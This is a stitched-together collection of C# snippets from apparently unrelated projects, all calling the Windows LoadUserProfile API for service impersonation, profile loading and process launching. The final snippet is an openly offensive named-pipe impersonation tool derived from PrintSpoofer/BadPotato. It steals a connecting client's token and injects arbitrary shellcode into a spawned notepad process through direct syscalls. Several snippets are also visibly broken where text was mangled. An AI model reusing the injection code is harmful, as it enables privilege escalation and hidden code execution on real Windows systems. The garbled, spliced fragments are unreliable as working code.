public void UnloadProfile() { if (0 != _profile.dwSize) { UnloadUserProfile(_impersonate, ref _profile); _profile = new PROFILEINFO(); } }
private bool LoadUserProfileWorker(int userSessionId) { // When a user logs on interactively, the system automatically loads the // user's profile. If a service or an application impersonates a user, // the system does not load the user's profile. Therefore, the service or // application should load the user's profile with LoadUserProfile. profileInfo = new PROFILEINFO(); profileInfo.dwSize = Marshal.SizeOf(profileInfo); profileInfo.lpUserName = UserSessionHelper.GetUserSessionQueryInfo(userSessionId, WTS_INFO_CLASS.WTSUserName); return(LoadUserProfile(userTokenHandle, ref profileInfo)); }
public static UserProfile Load(AccessToken token) { var userProfile = new PROFILEINFO { lpUserName = token.Username }; userProfile.dwSize = Marshal.SizeOf(userProfile); // See https://msdn.microsoft.com/en-us/library/windows/desktop/bb762281(v=vs.85).aspx Win32Helper.Invoke(() => LoadUserProfile(token.Handle, ref userProfile), $"Failed to load user profile for user '{token.Username}'"); return(new UserProfile(token, new SafeRegistryHandle(userProfile.hProfile, false))); }
public void UpdateRegistrySettings(CommandSettings command, string domainName, string userName, string logonPassword) { IntPtr userHandler = IntPtr.Zero; PROFILEINFO userProfile = new PROFILEINFO(); try { string securityId = _windowsServiceHelper.GetSecurityId(domainName, userName); if (string.IsNullOrEmpty(securityId)) { Trace.Error($"Could not find the Security ID for the user '{domainName}\\{userName}'. AutoLogon will not be configured."); throw new Exception(StringUtil.Loc("InvalidSIDForUser", domainName, userName)); } //check if the registry exists for the user, if not load the user profile if (!_registryManager.SubKeyExists(RegistryHive.Users, securityId)) { userProfile.dwSize = Marshal.SizeOf(typeof(PROFILEINFO)); userProfile.lpUserName = userName; _windowsServiceHelper.LoadUserProfile(domainName, userName, logonPassword, out userHandler, out userProfile); } if (!_registryManager.SubKeyExists(RegistryHive.Users, securityId)) { throw new InvalidOperationException(StringUtil.Loc("ProfileLoadFailure", domainName, userName)); } ShowAutoLogonWarningIfAlreadyEnabled(domainName, userName); //machine specific settings, i.e., autologon UpdateMachineSpecificRegistrySettings(domainName, userName); //user specific, i.e., screensaver and startup process UpdateUserSpecificRegistrySettings(command, securityId); } finally { if (userHandler != IntPtr.Zero) { _windowsServiceHelper.UnloadUserProfile(userHandler, userProfile); } } }
public void CreateProfileTest() { var curSid = SafePSID.Current; var sb = new StringBuilder(260); Assert.That(CreateProfile(curSid.ToString("D"), curSid.ToString("N"), sb, (uint)sb.Length), ResultIs.Failure); Assert.That(LogonUser(localAcct, ".", localAcctPwd, LogonUserType.LOGON32_LOGON_INTERACTIVE, LogonUserProvider.LOGON32_PROVIDER_DEFAULT, out var hTok), ResultIs.Successful); using var id = new System.Security.Principal.WindowsIdentity(hTok.DangerousGetHandle()); try { Assert.That(CreateProfile(id.User.Value, localAcct, sb, (uint)sb.Capacity), ResultIs.Successful); var pi = new PROFILEINFO(localAcct); Assert.That(LoadUserProfile(hTok, ref pi), ResultIs.Successful); Assert.That(UnloadUserProfile(hTok, pi.hProfile), ResultIs.Successful); } finally { Assert.That(DeleteProfile(id.User.Value), ResultIs.Successful); hTok.Dispose(); } }
internal static extern bool LoadUserProfileW( IntPtr hToken, ref PROFILEINFO lpProfileInfo);
static extern bool LoadUserProfile(IntPtr hToken, ref PROFILEINFO lpProfileInfo);
public static async Task <ActionResponse> ExecuteAsync(ActionDelegate action, ActionRequest request) { var domain = NTHelper.CleanDomain(request.DataStore.GetValue("ImpersonationDomain")); var userName = NTHelper.CleanUsername(request.DataStore.GetValue("ImpersonationUsername")); var password = request.DataStore.GetValue("ImpersonationPassword"); string[] userDomain = WindowsIdentity.GetCurrent().Name.Split('\\'); if (userDomain.Length != 2) { throw new InvalidOperationException("Current user identity doesn't contain a domain name"); } // Just call the method if it's for the same user if (userDomain[0].EqualsIgnoreCase(domain) && userDomain[1].EqualsIgnoreCase(userName)) { return(await action(request)); } IntPtr logonToken = IntPtr.Zero; PROFILEINFO profileInfo = new PROFILEINFO(); profileInfo.dwSize = Marshal.SizeOf(profileInfo); profileInfo.dwFlags = 1; //PI_NOUI profileInfo.lpUserName = userName; bool loadProfileResult = false; try { bool logonResult = LogonUser(userName, domain, password, LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT, out logonToken); if (!logonResult) { return(new ActionResponse(ActionStatus.Failure, null, new System.ComponentModel.Win32Exception(Marshal.GetLastWin32Error()), DefaultErrorCodes.ImpersonationFailed)); } loadProfileResult = LoadUserProfile(logonToken, ref profileInfo); if (!loadProfileResult) { return(new ActionResponse(ActionStatus.Failure, null, new System.ComponentModel.Win32Exception(Marshal.GetLastWin32Error()), DefaultErrorCodes.ImpersonationFailed)); } // Use the token handle returned by LogonUser. using (WindowsIdentity newWindowsIdentity = new WindowsIdentity(logonToken)) { using (WindowsImpersonationContext impersonatedUser = newWindowsIdentity.Impersonate()) { return(await action(request)); } } } finally { if (loadProfileResult) { UnloadUserProfile(logonToken, profileInfo.hProfile); } if (logonToken != IntPtr.Zero) { CloseHandle(logonToken); } } }
/// <summary> /// Runs a command. /// </summary> /// <param name="commandFilePath">The command file path.</param> /// <param name="commandArguments">The command arguments.</param> /// <param name="workingDirectory">The working directory.</param> /// <param name="waitForExit">if set to <c>true</c> wait for exit.</param> /// <returns>The launched process.</returns> /// <exception cref="Exception">Create Process failed.</exception> /// <exception cref="Win32Exception">Creation of the process failed.</exception> public Process RunCommand(string commandFilePath, string commandArguments, string workingDirectory, bool waitForExit) { IntPtr token = new IntPtr(0); IntPtr dupedToken = new IntPtr(0); bool ret; SECURITY_ATTRIBUTES sa = new SECURITY_ATTRIBUTES(); sa.bInheritHandle = false; sa.Length = Marshal.SizeOf(sa); sa.lpSecurityDescriptor = (IntPtr)0; token = WindowsIdentity.GetCurrent().Token; const int SecurityImpersonation = 2; const int TokenType = 1; ret = NativeMethods.DuplicateTokenEx(token, (int)TokenAccessRights.AssignPrimary | (int)TokenAccessRights.Duplicate | (int)TokenAccessRights.Query, ref sa, SecurityImpersonation, TokenType, ref dupedToken); if (ret == false) { //NativeMethods.CloseHandle(token); NativeMethods.CloseHandle(dupedToken); throw new Exception(Marshal.GetLastWin32Error().ToString()); } // Load Profile PROFILEINFO pri = new PROFILEINFO(); pri.dwSize = Marshal.SizeOf(pri); pri.lpUserName = _userName; pri.dwFlags = 1; if (!NativeMethods.LoadUserProfile(dupedToken, ref pri) && pri.hProfile == IntPtr.Zero) { NativeMethods.CloseHandle(dupedToken); throw new Exception(Marshal.GetLastWin32Error().ToString()); } // Process Information PROCESS_INFORMATION pi = new PROCESS_INFORMATION(); // Startup Information STARTUPINFO si = new STARTUPINFO(); si.cb = Marshal.SizeOf(si); //if this member is NULL, the new process inherits the desktop //and window station of its parent process. If this member is //an empty string, the process does not inherit the desktop and //window station of its parent process; instead, the system //determines if a new desktop and window station need to be created. //If the impersonated user already has a desktop, the system uses the //existing desktop. si.lpDesktop = null; //si.lpDesktop = ""; //si.lpDesktop = @"WinSta0\Default"; //Modify as needed //si.dwFlags = (uint)STARTF.STARTF_USESHOWWINDOW | (uint)STARTF.STARTF_FORCEONFEEDBACK; //si.wShowWindow = (short)ShowWindowCommands.SW_HIDE; IntPtr environmentBlock = IntPtr.Zero; try { ret = NativeMethods.CreateEnvironmentBlock(ref environmentBlock, token, false); if (ret) { ret = NativeMethods.CreateProcessAsUser(dupedToken, commandFilePath, commandArguments, ref sa, ref sa, false, (int)CREATE_PROCESS_FLAGS.CREATE_UNICODE_ENVIRONMENT, environmentBlock, workingDirectory, ref si, out pi); } } finally { if (environmentBlock != IntPtr.Zero) { NativeMethods.DestroyEnvironmentBlock(environmentBlock); } } Process p = null; if (!ret) { throw (new Win32Exception("Creation of the process failed with " + Marshal.GetLastWin32Error())); } else { try { p = Process.GetProcessById((int)pi.dwProcessId); if (waitForExit) { p.WaitForExit(); } } catch { } NativeMethods.CloseHandle(pi.hProcess); NativeMethods.CloseHandle(pi.hThread); } NativeMethods.UnloadUserProfile(token, pri.hProfile); //NativeMethods.CloseHandle(token); ret = NativeMethods.CloseHandle(dupedToken); if (ret == false) { throw (new Exception(Marshal.GetLastWin32Error().ToString())); } return(p); }
/* * All the magic is in the call to WTSQueryUserToken, it saves you changing DACLs, * process tokens, pulling the SID, manipulating the Windows Station and Desktop * (and its DACLs) - if you don't know what those things are, you're lucky and should * be on your knees thanking God at this moment. * * DEV NOTE: This method currently ASSumes that it should impersonate the user * who is logged into session 1 (if more than one user is logged in, each * user will have a session of their own which means that if user switching * is going on, this method could start a process whose UI shows up in * the session of the user who is not actually using the machine at this * moment.) * * DEV NOTE 2: If the process being started is a binary which decides, based upon * the user whose session it is being created in, to relaunch with a * different integrity level (such as Internet Explorer), the process * id will change immediately and the Process Manager will think * that the process has died (because in actuality the process it * launched DID in fact die only that it was due to self-termination) * This means beware of using this service to startup such applications * although it can connect to them to alarm in case of failure, just * make sure you don't configure it to restart it or you'll get non * stop process creation */ static public int CreateUIProcessForServiceRunningAsLocalSystem(string in_strTarget, string in_strArguments) { PROCESS_INFORMATION l_oProcessInformation = new PROCESS_INFORMATION(); SECURITY_ATTRIBUTES l_oSecurityAttributes = new SECURITY_ATTRIBUTES(); STARTUPINFO l_oStartupInfo = new STARTUPINFO(); PROFILEINFO l_oProfileInfo = new PROFILEINFO(); IntPtr l_ptrUserToken = new IntPtr(0); uint l_nActiveUserSessionId = 0xFFFFFFFF; string l_strActiveUserName = ""; int l_nProcessID = -1; IntPtr l_ptrBuffer = IntPtr.Zero; uint l_nBytes = 0; try { //The currently active user is running what session? l_nActiveUserSessionId = WTSGetActiveConsoleSessionId(); if (l_nActiveUserSessionId == 0xFFFFFFFF) { throw new Exception("ProcessUtilities" + "->" + MethodInfo.GetCurrentMethod().Name + "->" + "The call to WTSGetActiveConsoleSessionId failed, GetLastError returns: " + Marshal.GetLastWin32Error().ToString()); } if (false == WTSQuerySessionInformation(IntPtr.Zero, (int)l_nActiveUserSessionId, WTS_INFO_CLASS.WTSUserName, out l_ptrBuffer, out l_nBytes)) { int l_nLastError = Marshal.GetLastWin32Error(); //On earlier operating systems from Vista, when no one is logged in, you get RPC_S_INVALID_BINDING which is ok, we just won't impersonate if (l_nLastError != RPC_S_INVALID_BINDING) { throw new Exception("ProcessUtilities" + "->" + MethodInfo.GetCurrentMethod().Name + "->" + "The call to WTSQuerySessionInformation failed, GetLastError returns: " + Marshal.GetLastWin32Error().ToString()); } //No one logged in so let's just do this the simple way return(SimpleProcessStart(in_strTarget, in_strArguments)); } l_strActiveUserName = Marshal.PtrToStringAnsi(l_ptrBuffer); WTSFreeMemory(l_ptrBuffer); //We are supposedly running as a service so we're going to be running in session 0 so get a user token from the active user session if (false == WTSQueryUserToken((uint)l_nActiveUserSessionId, out l_ptrUserToken)) { int l_nLastError = Marshal.GetLastWin32Error(); //Remember, sometimes nobody is logged in (especially when we're set to Automatically startup) you should get error code 1008 (no user token available) if (ERROR_NO_TOKEN != l_nLastError) { //Ensure we're running under the local system account WindowsIdentity l_oIdentity = System.Security.Principal.WindowsIdentity.GetCurrent(); if ("NT AUTHORITY\\SYSTEM" != l_oIdentity.Name) { throw new Exception("ProcessUtilities" + "->" + MethodInfo.GetCurrentMethod().Name + "->" + "The call to WTSQueryUserToken failed and querying the process' account identity results in an identity which does not match 'NT AUTHORITY\\SYSTEM' but instead returns the name:" + l_oIdentity.Name + " GetLastError returns: " + l_nLastError.ToString()); } throw new Exception("ProcessUtilities" + "->" + MethodInfo.GetCurrentMethod().Name + "->" + "The call to WTSQueryUserToken failed, GetLastError returns: " + l_nLastError.ToString()); } //No one logged in so let's just do this the simple way return(SimpleProcessStart(in_strTarget, in_strArguments)); } //Create an appropriate environment block for this user token (if we have one) IntPtr l_ptrEnvironment = IntPtr.Zero; Debug.Assert(l_ptrUserToken != IntPtr.Zero); if (false == CreateEnvironmentBlock(out l_ptrEnvironment, l_ptrUserToken, false)) { throw new Exception("ProcessUtilities" + "->" + MethodInfo.GetCurrentMethod().Name + "->" + "The call to CreateEnvironmentBlock failed, GetLastError returns: " + Marshal.GetLastWin32Error().ToString()); } l_oSecurityAttributes.Length = Marshal.SizeOf(l_oSecurityAttributes); l_oStartupInfo.cb = Marshal.SizeOf(l_oStartupInfo); //DO NOT set this to "winsta0\\default" (even though many online resources say to do so) l_oStartupInfo.lpDesktop = String.Empty; l_oProfileInfo.dwSize = Marshal.SizeOf(l_oProfileInfo); l_oProfileInfo.lpUserName = l_strActiveUserName; //Remember, sometimes nobody is logged in (especially when we're set to Automatically startup) if (false == LoadUserProfile(l_ptrUserToken, ref l_oProfileInfo)) { throw new Exception("ProcessUtilities" + "->" + MethodInfo.GetCurrentMethod().Name + "->" + "The call to LoadUserProfile failed, GetLastError returns: " + Marshal.GetLastWin32Error().ToString()); } if (false == CreateProcessAsUser(l_ptrUserToken, in_strTarget, in_strTarget + " " + in_strArguments, ref l_oSecurityAttributes, ref l_oSecurityAttributes, false, CreationFlags.CREATE_UNICODE_ENVIRONMENT, l_ptrEnvironment, null, ref l_oStartupInfo, ref l_oProcessInformation)) { //System.Diagnostics.EventLog.WriteEntry( "CreateProcessAsUser FAILED", Marshal.GetLastWin32Error().ToString() ); throw new Exception("ProcessUtilities" + "->" + MethodInfo.GetCurrentMethod().Name + "->" + "The call to CreateProcessAsUser failed, GetLastError returns: " + Marshal.GetLastWin32Error().ToString()); } l_nProcessID = l_oProcessInformation.dwProcessID; } catch (Exception l_oException) { throw new Exception("ProcessUtilities" + "->" + MethodInfo.GetCurrentMethod().Name + "->" + "An unhandled exception was caught spawning the process, the exception was: " + l_oException.Message); } finally { if (l_oProcessInformation.hProcess != IntPtr.Zero) { CloseHandle(l_oProcessInformation.hProcess); } if (l_oProcessInformation.hThread != IntPtr.Zero) { CloseHandle(l_oProcessInformation.hThread); } } return(l_nProcessID); }
public static int RunProcess(string userName, string password, string domain, string cmd, string arguments, bool loadUserProfile = true, int logonType = LOGON32_LOGON_BATCH) { bool retValue; IntPtr phToken = IntPtr.Zero; IntPtr phTokenDup = IntPtr.Zero; PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION(); PROFILEINFO pi = new PROFILEINFO(); try { retValue = LogonUser(userName, domain, password, logonType, LOGON32_PROVIDER_DEFAULT, out phToken); if (!retValue) throw new Exception("Failed to logon as user: "******"Failed to duplicate token: " + GetLastError()); STARTUPINFO sInfo = new STARTUPINFO(); sInfo.lpDesktop = ""; if (loadUserProfile) { pi.dwSize = Marshal.SizeOf(pi); pi.dwFlags = PI_NOUI; pi.lpUserName = userName; retValue = LoadUserProfile(phTokenDup, ref pi); if (!retValue) throw new Exception("Failed to get user profile: " + GetLastError()); } retValue = CreateProcessAsUser(phTokenDup, cmd, arguments, ref sa, ref sa, false, 0, IntPtr.Zero, null, ref sInfo, out pInfo); if (!retValue) throw new Exception("Failed to create process as user: "******"Process returned exit status: " + GetLastError()); int exitCode; retValue = GetExitCodeProcess(pInfo.hProcess, out exitCode); if (!retValue) throw new Exception("Failed to get exit code status" + GetLastError()); return exitCode; } finally { if (pi.hProfile != IntPtr.Zero) UnloadUserProfile(phTokenDup, pi.hProfile); if (phToken != IntPtr.Zero) CloseHandle(phToken); if (phTokenDup != IntPtr.Zero) CloseHandle(phTokenDup); if (pInfo.hProcess != IntPtr.Zero) CloseHandle(pInfo.hProcess); } }
public static int RunProcess(string userName, string password, string domain, string cmd, string arguments, bool loadUserProfile = true, int logonType = LOGON32_LOGON_BATCH) { bool retValue; IntPtr phToken = IntPtr.Zero; IntPtr phTokenDup = IntPtr.Zero; PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION(); PROFILEINFO pi = new PROFILEINFO(); try { retValue = LogonUser(userName, domain, password, logonType, LOGON32_PROVIDER_DEFAULT, out phToken); if (!retValue) { throw new Exception("Failed to logon as user: "******"Failed to duplicate token: " + GetLastError()); } STARTUPINFO sInfo = new STARTUPINFO(); sInfo.lpDesktop = ""; if (loadUserProfile) { pi.dwSize = Marshal.SizeOf(pi); pi.dwFlags = PI_NOUI; pi.lpUserName = userName; retValue = LoadUserProfile(phTokenDup, ref pi); if (!retValue) { throw new Exception("Failed to get user profile: " + GetLastError()); } } retValue = CreateProcessAsUser(phTokenDup, cmd, arguments, ref sa, ref sa, false, 0, IntPtr.Zero, null, ref sInfo, out pInfo); if (!retValue) { throw new Exception("Failed to create process as user: "******"Process returned exit status: " + GetLastError()); } int exitCode; retValue = GetExitCodeProcess(pInfo.hProcess, out exitCode); if (!retValue) { throw new Exception("Failed to get exit code status" + GetLastError()); } return(exitCode); } finally { if (pi.hProfile != IntPtr.Zero) { UnloadUserProfile(phTokenDup, pi.hProfile); } if (phToken != IntPtr.Zero) { CloseHandle(phToken); } if (phTokenDup != IntPtr.Zero) { CloseHandle(phTokenDup); } if (pInfo.hProcess != IntPtr.Zero) { CloseHandle(pInfo.hProcess); } } }
private static extern bool UnloadUserProfile(IntPtr hToken, ref PROFILEINFO lpProfileInfo);
public static extern bool LoadUserProfile( IntPtr hToken, ref PROFILEINFO lpProfileInfo);
static extern bool LoadUserProfile(SafeAccessTokenHandle hToken, ref PROFILEINFO lpProfileInfo);
public static extern BOOL LoadUserProfile( HANDLE hToken, // user token [MarshalAs(UnmanagedType.LPArray, SizeParamIndex = 4)] ref PROFILEINFO lpProfileInfo // profile );
public static void ImpersonateClient(string PipeName, string Binary, byte[] shellcodebytes) { // some code from https://github.com/chvancooten/OSEP-Code-Snippets/blob/main/PrintSpoofer.NET/Program.cs, some from https://github.com/BeichenDream/BadPotato/blob/master/Program.cs string pipename = PipeName; string binary = Binary; SECURITY_ATTRIBUTES securityAttributes = new SECURITY_ATTRIBUTES(); // Create our named pipe pipename = string.Format("\\\\.\\pipe\\{0}", pipename); Console.WriteLine("Create Named Pipe: " + pipename); ConvertStringSecurityDescriptorToSecurityDescriptor("D:(A;OICI;GA;;;WD)", 1, out securityAttributes.lpSecurityDescriptor, IntPtr.Zero); IntPtr hPipe = CreateNamedPipeW(string.Format("\\\\.\\{0}", pipename), 0x00000003 | 0x40000000, 0x00000000, 10, 2048, 2048, 0, ref securityAttributes); if (hPipe != IntPtr.Zero) { // Connect to our named pipe and wait for another client to connect bool result = ConnectNamedPipe(hPipe, IntPtr.Zero); if (result) { Console.WriteLine("Connect success!"); } else { Console.WriteLine("Connect fail!"); return; } // Impersonate the token of the incoming connection result = ImpersonateNamedPipeClient(hPipe); if (result) { Console.WriteLine("Successfully impersonated client!"); } else { Console.WriteLine("Impersonation failed!"); return; } // Open a handle on the impersonated token IntPtr tokenHandle; result = OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, false, out tokenHandle); if (result) { Console.WriteLine("OpenThreadToken succeeded!"); } else { Console.WriteLine("OpenThreadToken failed!"); return; } // Duplicate the stolen token IntPtr sysToken = IntPtr.Zero; DuplicateTokenEx(tokenHandle, TOKEN_ALL_ACCESS, IntPtr.Zero, SECURITY_IMPERSONATION, TOKEN_PRIMARY, out sysToken); if (result) { Console.WriteLine("DuplicateTokenEx succeeded!"); } else { Console.WriteLine("DuplicateTokenEx failed!"); return; } // Get the impersonated identity and revert to self to ensure we have impersonation privs String name = WindowsIdentity.GetCurrent().Name; Console.WriteLine($"Impersonated user is: {name}."); if (shellcodebytes != null) { RevertToSelf(); PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION(); STARTUPINFO sInfo = new STARTUPINFO(); sInfo.cb = Marshal.SizeOf(sInfo); binary = @"C:\windows\system32\notepad.exe"; bool output = CreateProcessWithTokenW(sysToken, 0, null, binary, CreationFlags.NewConsole, IntPtr.Zero, null, ref sInfo, out pInfo); Console.WriteLine($"Executed '{binary}' to deploy shellcode in that process!"); int ProcID = ProcByName("notepad"); var shellcode = shellcodebytes; // NtOpenProcess IntPtr stub = SharpNamedPipePTH.DynamicInvokation.DynamicGeneric.GetSyscallStub("NtOpenProcess"); NtOpenProcess ntOpenProcess = (NtOpenProcess)Marshal.GetDelegateForFunctionPointer(stub, typeof(NtOpenProcess)); IntPtr hProcess = IntPtr.Zero; OBJECT_ATTRIBUTES oa = new OBJECT_ATTRIBUTES(); CLIENT_ID ci = new CLIENT_ID { UniqueProcess = (IntPtr)(ProcID) }; SharpNamedPipePTH.DynamicInvokation.Native.NTSTATUS statusresult; statusresult = ntOpenProcess( ref hProcess, 0x001F0FFF, ref oa, ref ci); // NtAllocateVirtualMemory stub = SharpNamedPipePTH.DynamicInvokation.DynamicGeneric.GetSyscallStub("NtAllocateVirtualMemory"); NtAllocateVirtualMemory ntAllocateVirtualMemory = (NtAllocateVirtualMemory)Marshal.GetDelegateForFunctionPointer(stub, typeof(NtAllocateVirtualMemory)); IntPtr baseAddress = IntPtr.Zero; IntPtr regionSize = (IntPtr)shellcodebytes.Length; statusresult = ntAllocateVirtualMemory( hProcess, ref baseAddress, IntPtr.Zero, ref regionSize, 0x1000 | 0x2000, 0x04); // NtWriteVirtualMemory stub = SharpNamedPipePTH.DynamicInvokation.DynamicGeneric.GetSyscallStub("NtWriteVirtualMemory"); NtWriteVirtualMemory ntWriteVirtualMemory = (NtWriteVirtualMemory)Marshal.GetDelegateForFunctionPointer(stub, typeof(NtWriteVirtualMemory)); var buffer = Marshal.AllocHGlobal(shellcodebytes.Length); Marshal.Copy(shellcodebytes, 0, buffer, shellcodebytes.Length); uint bytesWritten = 0; statusresult = ntWriteVirtualMemory( hProcess, baseAddress, buffer, (uint)shellcodebytes.Length, ref bytesWritten); // NtProtectVirtualMemory stub = SharpNamedPipePTH.DynamicInvokation.DynamicGeneric.GetSyscallStub("NtProtectVirtualMemory"); NtProtectVirtualMemory ntProtectVirtualMemory = (NtProtectVirtualMemory)Marshal.GetDelegateForFunctionPointer(stub, typeof(NtProtectVirtualMemory)); uint oldProtect = 0; statusresult = ntProtectVirtualMemory( hProcess, ref baseAddress, ref regionSize, 0x20, ref oldProtect); // NtCreateThreadEx stub = SharpNamedPipePTH.DynamicInvokation.DynamicGeneric.GetSyscallStub("NtCreateThreadEx"); NtCreateThreadEx ntCreateThreadEx = (NtCreateThreadEx)Marshal.GetDelegateForFunctionPointer(stub, typeof(NtCreateThreadEx)); IntPtr hThread = IntPtr.Zero; statusresult = ntCreateThreadEx( out hThread, SharpNamedPipePTH.DynamicInvokation.Win32.WinNT.ACCESS_MASK.MAXIMUM_ALLOWED, IntPtr.Zero, hProcess, baseAddress, IntPtr.Zero, false, 0, 0, 0, IntPtr.Zero); } else { // Only testing purpose to fake an interactive logon somehow PROFILEINFO profInfo = new PROFILEINFO(); bool loadProfileSuccess = LoadUserProfile(sysToken, ref profInfo); if (loadProfileSuccess) { Console.WriteLine("LoadUserProfile success!"); } else { Console.WriteLine("LoadUserProfile failed!"); } RevertToSelf(); // Spawn a new process with the duplicated token, a desktop session, and the created profile PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION(); STARTUPINFO sInfo = new STARTUPINFO(); sInfo.cb = Marshal.SizeOf(sInfo); bool output = CreateProcessWithTokenW(sysToken, 0, null, binary, CreationFlags.NewConsole, IntPtr.Zero, null, ref sInfo, out pInfo); Console.WriteLine($"Executed '{binary}' with impersonated token!"); } } }